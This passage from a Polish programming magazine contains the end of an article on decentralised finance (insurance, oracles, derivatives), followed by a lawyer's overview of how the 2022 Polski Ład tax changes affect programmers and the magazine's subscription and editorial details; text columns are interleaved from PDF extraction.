in sam w sobie przyjmie każdą dostarczoną informację i uzna ją za aktywa, np. akcje Apple czy też Airbnb. Dzięki temu możemy mieć
prawdziwą. Zdecentralizowane ubezpieczenie nie mogłoby opierać ekspozycję na wycenę danej firmy, ale wszystko będzie się odbywać
się o dane przekazane przez pojedynczą osobę, ponieważ mogłyby z wykorzystaniem blockchaina. Kolejnymi ciekawymi protokołami
one być sfałszowane i w praktyce nie różniłoby się to od zwykłego są Synthetix [25], który pozwala m.in na syntetyczny udział w rynku
podejścia. Dlatego w takim wypadku używa się blockchainowych
wyroczni (ang. oracle) [21], czyli zewnętrznych protokołów, które
odpowiadają za dostarczanie informacji. Pojawić się tu mogą pyta-
nia, jak działa taka wyrocznia i jaka jest wiarygodność dostarczonych
przez nią danych, ale to już temat na osobny artykuł.
Jeśli wszystko pójdzie dobrze, w przyszłości każdy z nas będzie
mógł ubezpieczać się na wypadek różnych sytuacji przy pomocy
zdecentralizowanych protokołów. Obecne rozwiązania skupiają się
w większości na świecie blockchainowym, jednak warto się nimi już
teraz zainteresować. Jednym z bardziej znanych rozwiązań są Nexus
Mutual [22] oraz InsurAce [23]. Dzięki tym protokołom możemy
ubezpieczyć środki znajdujące się w różnych aplikacjach DeFi, np.
na wypadek kradzieży środków danego smart contractu. Zwiększy to
na pewno nasze poczucie bezpieczeństwa, w szczególności kiedy in-
westujemy przy pomocy DeFi, używając dużych środków.

ZDECENTRALIZOWANE DERYWATYWY
Zbliżając się już do końca, chciałem krótko wspomnieć o jeszcze jed-
nym rozwiązaniu z tradycyjnego świata, które zostało przeniesione Rysunek 6. Derywatywy (żródło: defi-planet.com/2021/08/derivatives-in-defi/)

do tego zdecentralizowanego, a mianowicie o derywatywach. Samo

{ WWW.PROGRAMISTAMAG.PL } <121>
PLANETA IT

Forex, oraz Perpetual [26], umożliwiający granie na dźwigni. Tego finansowych. Ten argument obecnie może być dyskusyjny ze względu
typu rozwiązań powstaje coraz więcej i mogą być interesującą al- na spore opłaty transakcyjne na Ethereum, ale wraz z wprowadza-
ternatywą dla osób korzystających z różnego rodzaju derywatywów. niem Ethereum 2.0 oraz rozwojem tzw. warstwy drugiej (ang. layer 2)
Oprócz typowych zalet aplikacji opartych o blockchain tego rodzaju problem ten zostanie rozwiązany. Oczywiście nie można też zapomi-
protokoły pozwalają uzyskać potencjalną korzyść podatkową. Me- nać o potencjalnych ryzykach, takich jak chociażby błędy w kodzie
chanizm działa tak samo jak w przypadku kryptowalut. Wymiana smart contractów, które mogą prowadzić do utraty środków. Jeszcze
jednego cyfrowego aktywa na drugie nie niesie za sobą obowiązku jedną istotną kwestią jest to, czy dany protokół jest naprawdę zdecen-
podatkowego. Prawdopodobnie w przyszłości będą prowadzone roz- tralizowany. Może się okazać, że pomimo użycia blockchaina, cała
mowy na temat opodatkowania takich aktywności, ale w tej chwili aplikacja i tak jest centralnie sterowana. Prawdopodobnie rozwiąza-
temat ten nie występuje w debacie publicznej. nia, z których będziemy korzystać w przyszłości, będą się różnić od
tych tworzonych obecnie. Już dzisiaj spotyka się termin DeFi 2.0 [27],

PODSUMOWANIE z którym związane są takie projekty jak Abracadabra Money [28] czy
Olympus DAO [29]. Niemniej jednak w mojej opinii DeFi ma szan-
Od pewnego czasu DeFi zaczyna stanowić ciekawą alternatywę dla sę zrewolucjonizować codzienne korzystanie z usług finansowych,
rozwiązań pochodzących z tradycyjnego systemu finansowego. Dzię- o ile tylko ogromne lobby związane z tym rynkiem na to pozwoli, co,
ki temu, że DeFi oparty jest o blockchain, a nie o centralne insty- szczerze mówiąc, może być największym zagrożeniem dla zdecentra-
tucje, wprowadza przejrzystość oraz równy dostęp dla każdego. Nie lizowanych finansów.
trzeba też ponosić wysokich kosztów związanych z obsługą usług

Bibliografia
[1] https://www.bankier.pl/wiadomosc/Klienci-cypryjskich-bankow-straca-47-5-procent-swoich-depozytow-2900943.html
[2] https://www.money.pl/banki/pierwszy-bail-in-w-polsce-samorzady-stracily-ponad-polowe-funduszy-zgromadzonych-w-pbs-6470032180496001a.html
[3] https://www.wirtualnemedia.pl/artykul/mbank-bz-wbk-i-pekao-blokuja-konta-z-kryptowaluta
[4] https://www.money.pl/gospodarka/przelom-w-lokatach-bank-kaze-placic-za-trzymanie-pieniedzy-klienta-6616140386982432a.html
[5] https://tether.to/
[6] https://fortune.com/2021/10/15/tether-crypto-stablecoin-fined-reserves/
[7] https://www.centre.io/usdc-transparency
[8] https://coinmarketcap.com/currencies/tether/
[9] https://makerdao.com/en/
[10] https://medium.com/icovo/why-is-dai-stable-9a9fa84feca7
[11] https://coinmarketcap.com/pl/currencies/multi-collateral-dai/
[12] https://coinmarketcap.com/pl/currencies/ampleforth/
[13] https://compound.finance/
[14] https://rugdoc.io/education/defi-arbitrage/
[15] https://coinmarketcap.com/alexandria/article/the-tragicomedy-of-pancakebunny
[16] https://app.uniswap.org/
[17] https://pancakeswap.finance/
[18] https://balancer.fi/
[19] https://academy.binance.com/en/articles/impermanent-loss-explained
[20] https://academy.binance.com/en/glossary/rug-pull
[21] https://academy.binance.com/pl/articles/blockchain-oracles-explained
[22] https://nexusmutual.io/
[23] https://www.insurace.io/
[24] https://www.mirror.finance/
[25] https://synthetix.io/
[26] https://www.perp.com/
[27] https://academy.binance.com/en/articles/what-is-defi-2-0-and-why-does-it-matter
[28] https://abracadabra.money/
[29] https://www.olympusdao.finance/

PRZEMYSŁAW TREPKA
zblockowani@gmail.com
Pasjonat technologii blockchain oraz rynku kryptowalut. Obecnie pracuje jako Blockchain Developer w ValueLogic.

<122> { 1 / 2022 < 100 > }


PRAWO

Konsekwencje Polskiego Ładu dla programistów


Wejście w życie od 1 stycznia 2022 r. pakietu zmian podatkowych określanych jako Polski
Ład skutkować będzie dla całej branży IT wzrostem obciążeń podatkowo-składkowych. Do-
tyczyć to będzie zarówno firm i ich właścicieli, jak też pracowników oraz kontraktorów B2B.
Konsekwencją będzie dalszy wzrost kosztów pracowniczych, co zwłaszcza w aktualnej sytu-
acji na rynku pracowniczym może nieść ze sobą poważne skutki dla dalszego rozwoju całej
branży w Polsce.

GŁÓWNE ZMIANY dziej, że jest ona skonstruowana w taki sposób, że przekroczenie


limitu, choćby o złotówkę, spowoduje brak możliwości skorzy-
1. Zwiększenie kwoty wolnej od podatku do kwoty 30 000 zł, przy stania z niej. Jeśli zaliczki na podatek dochodowy uwzględnia-
czym zwrócić trzeba uwagę na to, że kwota wolna od podatku ły zastosowanie ulgi, może to skutkować koniecznością zwrotu
dotyczy tylko osób opodatkowanych podatkiem progresywnym. sporych kwot po rozliczeniu rocznym.
Biorąc zatem pod uwagę wysokość wynagrodzeń i specyfikę
branży, z kwoty wolnej od podatku skorzystają jedynie progra-
DOSTĘPNE ROZWIĄZANIA
miści zatrudnieni na podstawie umowy o pracę.
2. Podniesienie progu podatkowego, po przekroczeniu którego W praktyce programista chcący zminimalizować dotkliwość zmian
stawka PIT wzrasta z 17% do 32%, z obecnych 85 000 zł do ma do wyboru dwa rozwiązania, przy czym oba związane są z pro-
120 000 zł. To rozwiązanie również dedykowane podatnikom wadzeniem jednoosobowej działalności gospodarczej. Pierwszym z
podatku progresywnego, a więc w praktyce prawie wyłącznie nich jest ulga IP Box, czyli 5 proc. PIT. Jest to ulga mająca zasto-
pracownikom. sowanie do podatku od dochodów uzyskiwanych z praw własności
3. W przypadku programistów świadczących usługi w oparciu intelektualnej. Funkcjonuje w Polsce od początku 2019 r. i zyskała
o kontrakty B2B mamy z kolei do czynienia z zastąpieniem zry- popularność szczególnie w grupie zawodowej programistów. Warto
czałtowanej składki zdrowotnej płaconej przez przedsiębiorców przypomnieć sobie, z jakimi obowiązkami wiąże się chęć skorzysta-
(w 2021 r. wynosiła 381 zł) – 4,9 proc. składką liniową naliczaną nia z IP Boxa, poza samym faktem uzyskiwania wynagrodzenia za
od faktycznie uzyskanego dochodu (w przypadku podatników przeniesienie autorskich praw majątkowych do stworzonego opro-
podatku liniowego) lub 9 proc., ale naliczaną od podstawy za- gramowania lub udzielenia licencji. Po pierwsze, zgodnie z zalece-
leżnej od trzech progów korelatywnych z wysokością przychodu niami Ministerstwa Finansów wynikającymi z ogólnych objaśnień w
(w przypadku podatników podatku ryczałtowego). Oznacza to sprawie IP Box z 19 lipca 2019 r., należy wystąpić o wydanie indywi-
podwyższenie efektywnego opodatkowania, co już spowodowa- dualnej interpretacji podatkowej potwierdzającej możliwość skorzy-
ło poszukiwanie przez programistów rozwiązań pozwalających stania z ulgi. Po drugie, konstrukcja ulgi IP Box wymusza ponoszenie
na możliwie najkorzystniejsze dostosowanie opodatkowania pewnych kosztów (tzw. kosztów kwalifikowanych) związanych z pro-
swoich wynagrodzeń do nowych rozwiązań. Niestety usunięta wadzeniem działalności. W związku z tym nie jest to ulga dostosowa-
została możliwość odliczenia części składki zdrowotnej od do- na do programistów, którzy pracują na sprzęcie dostarczonym przez
chodu w rozliczeniu rocznym. klienta. Po trzecie, podatnik chcący skorzystać z tej ulgi musi prowa-
4. W przypadku programistów zatrudnionych w oparciu o umo- dzić ewidencję kosztów i przychodów kwalifikowanych. Nie jest to
wę o pracę dojdzie do wzrostu kosztów zatrudnienia dla pra- w przypadku jednoosobowych działalności gospodarczych przesad-
codawców, związanym z tym, że składka zdrowotna nie tylko nie skomplikowane, niemniej jednak nie wszyscy księgowi chcą się
ustalona została na poziomie 9 proc., ale dodatkowo została podjąć takiej usługi. Przystąpienie do z założenia korzystnego opo-
usunięta możliwość odliczenia jej części od dochodu. Ponieważ datkowania 5 proc. PIT należy poprzedzić szczegółową analizą zalet i
w przypadku stosunku pracy nie istnieje żadna możliwość opty- wad takiego rozwiązania. Nawiązując do ostatnich zmian w zakresie
malizacji, założyć należy, że zmiany skutkować będą dalszą mo- składki zdrowotnej, w przypadku IP Boxa, który jest formą podatku
dyfikacją struktury zatrudnienia w branży i postępującym prze- liniowego, zastosowanie będzie miała stawka 4,9 proc.
chodzeniem pracowników z umów o pracę na kontrakty B2B. Opodatkowanie ryczałtem od przychodów ewidencjonowa-
5. Teoretycznie niekorzystne zmiany mogłyby zostać zrekompen- nych to drugie rozwiązanie, dedykowane tym programistom, któ-
sowane tzw. ulgą dla klasy średniej, tyle że dotyczy ona wyłącz- rzy w ramach swoich działalności nie generują kosztów uzyskania
nie osób osiągających roczne wynagrodzenia w przedziale od 68 przychodu. Ryczałt podatkowy oznacza, że opodatkowany jest przy-
412 zł do 133 692 zł, czyli od 5 701 zł do 11 141 zł brutto mie- chód, a nie dochód. Dla programistów opodatkowanych ryczałtem
sięcznie. Biorąc pod uwagę wysokość wynagrodzeń w branży od przychodów ewidencjonowanych składka zdrowotna wyniesie 9
IT, a także to, że ulga dotyczy wyłącznie podatników podatku proc. podstawy jej wymiaru, przy czym podstawa wymiaru składki
progresywnego, jej znaczenie będzie w IT znikome. Tym bar- zależna będzie od osiąganych w danym roku przychodów. Przy rocz-

<124> { 1 / 2022 < 100 > }


PRAWO

nych przychodach nieprzekraczających 60 000 zł podstawą będzie 60


KOMENTARZ AUTORA
proc. przeciętnego wynagrodzenia według GUS. Przy rocznych przy-
chodach w przedziale od 60 000 zł do 300 0000 zł podstawą będzie Polski Ład jest dla całej gospodarki dużym wyzwaniem, zwłaszcza
100 proc. przeciętnego wynagrodzenia według GUS. Powyżej tego że sposób jego wprowadzenia i opublikowanie zasad w praktyce w
limitu – 180 proc. przeciętnego wynagrodzenia według GUS. Trzeba ostatniej chwili spowodowały spory chaos. Programiści prowadzący
przy tym pamiętać, że wniosek o opodatkowanie podatkiem zryczał- jednoosobowe działalności gospodarcze, ze względu na możliwość
towanym należy złożyć do 20 lutego lub do 20 dnia miesiąca nastę- skorzystania z IP Boxa oraz relatywnie niskich ryczałtów, nie są w
pującego po miesiącu, kiedy zostały osiągnięte pierwsze przychody, najgorszej sytuacji. O tym, które z tych rozwiązań można stosować,
które miałyby być opodatkowane ryczałtem. będzie w praktyce decydowało to, czym dana osoba szczegółowo się
W kontekście ryczałtu warto zwrócić uwagę, że dla branży IT do- zajmuje w ramach umowy B2B oraz jaka jest jej struktura kosztów i
stępne są dwie stawki podatkowe. W przypadku każdego programisty przychodów. Pamiętać jednak musimy, że sytuacja jest dynamiczna,
zasadne będzie opodatkowanie stawką 12%, natomiast np. architek- gdyż już pojawiło się pierwsze rozporządzenie precyzujące zasady
ci, osoby zatrudnione w działach utrzymania czy devops, a także na Polskiego Ładu, a możemy także spodziewać się korekt ustawowych.
niektórych stanowiskach zarządczych mogą rozważać stawkę nawet W związku z tym do planowanych rozwiązań trzeba podchodzić ela-
8,5%, przy czym w takim wypadku należy indywidualnie analizować stycznie i zakładać, że być może w kolejnym roku będzie konieczna
ewentualną możliwość. ich modyfikacja.

JAKUB SZKUTNIK
j.szkutnik@paluckiszkutnik.pl
Adwokat, wspólnik Kancelarii Adwokackiej Pałucki & Szkutnik w Krakowie. Specjalista prawa spółek handlowych, prawa kor-
poracyjnego, procesów inwestycyjnych i kontraktów. Doradca dla podmiotów z branży IT pod brandem Legalcheck.pl.

/* REDAKCJA */

ZAMÓW PRENUMERATĘ MAGAZYNU PROGRAMISTA

Przez formularz na stronie:.............................http://programistamag.pl/typy-prenumeraty/


Na podstawie faktury Pro-forma:.........................redakcja@programistamag.pl

Prenumerata realizowana jest także przez RUCH S.A.


Zamówienia można składać bezpośrednio na stronie:.......www.prenumerata.ruch.com.pl
Pytania prosimy kierować na adres e-mail:...............prenumerata@ruch.com.pl
Kontakt telefoniczny:...................................801 800 803 lub 22 717 59 59*

*godz. 7 : 00 – 18 : 00 (koszt połączenia wg taryfy operatora)

Magazyn Programista wydawany jest przez Dom Wydawniczy Anna Adamczyk Nota prawna
Wydawca/Redaktor naczelny: Anna Adamczyk (annaadamczyk@programistamag.pl). Redaktor prowadzący: Redakcja zastrzega sobie prawo do skrótów i opracowań tekstów oraz do zmiany planów
Mariusz „maryush” Witkowski (mariuszwitkowski@programistamag.pl). Korekta: Tomasz Łopuszański. Kierownik wydawniczych, tj. zmian w zapowiadanych tematach artykułów i terminach publikacji, a także
produkcji/DTP: Krzysztof Kopciowski. Dział reklamy: reklama@programistamag.pl, tel. +48 663 220 102, nakładzie i objętości czasopisma.
tel. +48 604 312 716. Prenumerata: prenumerata@programistamag.pl. Współpraca: Michał Bartyzel, Mariusz O ile nie zaznaczono inaczej, wszelkie prawa do materiałów i znaków towarowych/firmowych
Sieraczkiewicz, Dawid Kaliszewski, Marek Sawerwain, Łukasz Mazur, Łukasz Łopuszański, Jacek Matulewski, zamieszczanych na łamach magazynu Programista są zastrzeżone. Kopiowanie i rozpowszechnianie
Sławomir Sobótka, Dawid Borycki, Gynvael Coldwind, Bartosz Chrabski, Rafał Kocisz, Michał Sajdak, Michał ich bez zezwolenia jest Zabronione.
Bentkowski, Paweł „KrzaQ” Zakrzewski, Radek Smilgin, Jarosław Jedynak, Damian Bogel (https://kele.codes/), Redakcja magazynu Programista nie ponosi odpowiedzialności za szkody bezpośrednie
Michał Zbyl, Dominik 'Disconnect3d' Czarnota. Adres wydawcy: Dereniowa 4/47, 02-776 Warszawa. i pośrednie, jak również za inne straty i wydatki poniesione w związku z wykorzystaniem informacji
Druk: http://www.edit.net.pl/, Nakład: 4500 egz. prezentowanych na łamach magazy­nu Programista.

You might also like